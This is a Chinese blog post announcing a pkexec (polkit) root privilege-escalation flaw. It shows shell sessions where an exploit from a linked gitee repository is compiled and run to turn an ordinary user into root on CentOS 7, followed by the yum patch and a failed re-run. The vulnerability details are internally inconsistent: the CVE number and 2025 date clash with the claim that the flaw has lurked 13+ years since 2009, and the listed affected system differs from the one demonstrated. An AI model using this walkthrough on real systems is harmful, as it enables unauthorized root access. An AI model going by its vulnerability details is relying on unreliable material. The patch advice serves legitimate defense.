惊爆！！！一条命令，瞬间让普通用户提权为root，赶紧修复！_网络技术

惊爆！！！一条命令，瞬间让普通用户提权为root，赶紧修复！

发布时间 - 2025-07-09 00:00:00 点击率：次

漏洞概述

漏洞编号：CVE-2025-4034

漏洞威胁等级：高危

Qualys研究团队在polkit的pkexec中发现了一个内存损坏漏洞，该SUID根程序默认安装在每个主要的Linux发行版上。这个漏洞极易被利用，允许任何未经授权的用户通过其默认配置来获取易受攻击主机上的完全root权限。

影响范围：这个漏洞已经潜伏了13年多，自2009年5月以来的所有pkexec版本均受影响。由于Polkit是系统预装工具，目前主流的Linux版本均受影响。Linux系统广泛应用于工业基础设施、云计算、物联网、人工智能等领域，绝大多数关键基础设施管理服务器均使用Linux系统。

目前受影响的重要Linux发行版本：

代码语言：shell

Ubuntu 21.10 (Impish Indri)

复现环境代码语言：shell

]# uname -r
3.10.0-862.el7.x86_64
]# cat /etc/redhat-release
CentOS Linux release 7.5.1804 (Core)

普通用户代码语言：shell

# 获取exp文件：获取`exploit.c`地址：https://gitee.com/lutixiaya/cve-2025-4034.git
[lutixia@localhost ~]$ ls
evil-so.c  exploit.c  Makefile
[lutixia@localhost ~]$ id
uid=1001(lutixia) gid=1001(lutixia) groups=1001(lutixia)

编译exp，提权为root代码语言：shell

[lutixia@localhost ~]$ make
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit
[lutixia@localhost ~]$ ls
evil.so  evil-so.c  exploit  exploit.c  Makefile
[lutixia@localhost ~]$ ./exploit
[root@localhost lutixia]# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u

修复代码语言：shell

# 查看可用版本
[root@localhost ~]# yum list polkit
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
Installed Packages
polkit.x86_64               0.112-14.el7                          @anaconda
Available Packages
polkit.i686                 0.112-26.el7_9.1                       updates
polkit.x86_64               0.112-26.el7_9.1                       updates
# 升级
~]# yum update polkit -y

验证修复代码语言：shell

[lutixia@localhost ~]$ ls
evil.so  evil-so.c  exploit  exploit.c  Makefile
# 再次执行exp文件，提权失败！
[lutixia@localhost ~]$ ./exploit
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
Report bugs to: http://lists.freedesktop.org/mailman/listinfo/polkit-devel
polkit home page:

赶快检查你的服务器是否暴露在危险之中，立即进行修复吧！

如果你喜欢这篇文章，请帮忙点赞，你的支持是我创作的动力！

# 云服务器 # linux # centos # git # 工具 # ai # red # 人工智能 # 物联网 # 基础设施 # 均受 # 应用于 # 这篇文章 # 未经授权 # 极易 # 普通用户 # 如果你喜欢 # 请帮忙 # 发现了

相关栏目：【网站优化151355 】【网络推广146373 】【网络技术251813 】【 AI营销90571 】

上一篇：Spring Boot Web应用开发 CORS 跨域请求支

下一篇：通过iPhone建站，怎样添加自定义域名到我的网站？

相关栏目网站优化
网络推广
网络技术
AI营销

最新文章 Sublime怎么一键压缩JS代码 Su sublime如何在搜索中使用正则表达式 Sublime如何设置透明窗口效果 Su mysql如何设计商品表结构_mysql css属性背景图不显示怎么办_通过检查路如何使用Golang实现排序_Golan 农历闰月是怎么回事_为合回归年加一月调整塑造《刺客信条》艾吉奥传奇的编剧离开育碧 1英里等于多少公里 1mile和km的换 css grid布局中行和列是如何定义的 PS批量旋转和翻转图片，快速校正图片方向 C# Swagger UI自定义方法 C OPPO手机九宫格和全键盘怎么切换_OP Go语言如何实现用户登录注册_Golan 1节飞行速度多少公里每小时 1节是多少公纸嫁衣8千子树第五章庙门怎么开启庙门 Laravel 多行数据编辑表单中实现逐明日之后如何提升钓鱼等级明日之后提升钓支付宝怎样查年度账单_支付宝年度账单查看 C# 多线程UI更新Dispatcher

上一篇：Spring Boot Web应用开发 CORS 跨域请求支

下一篇：通过iPhone建站，怎样添加自定义域名到我的网站？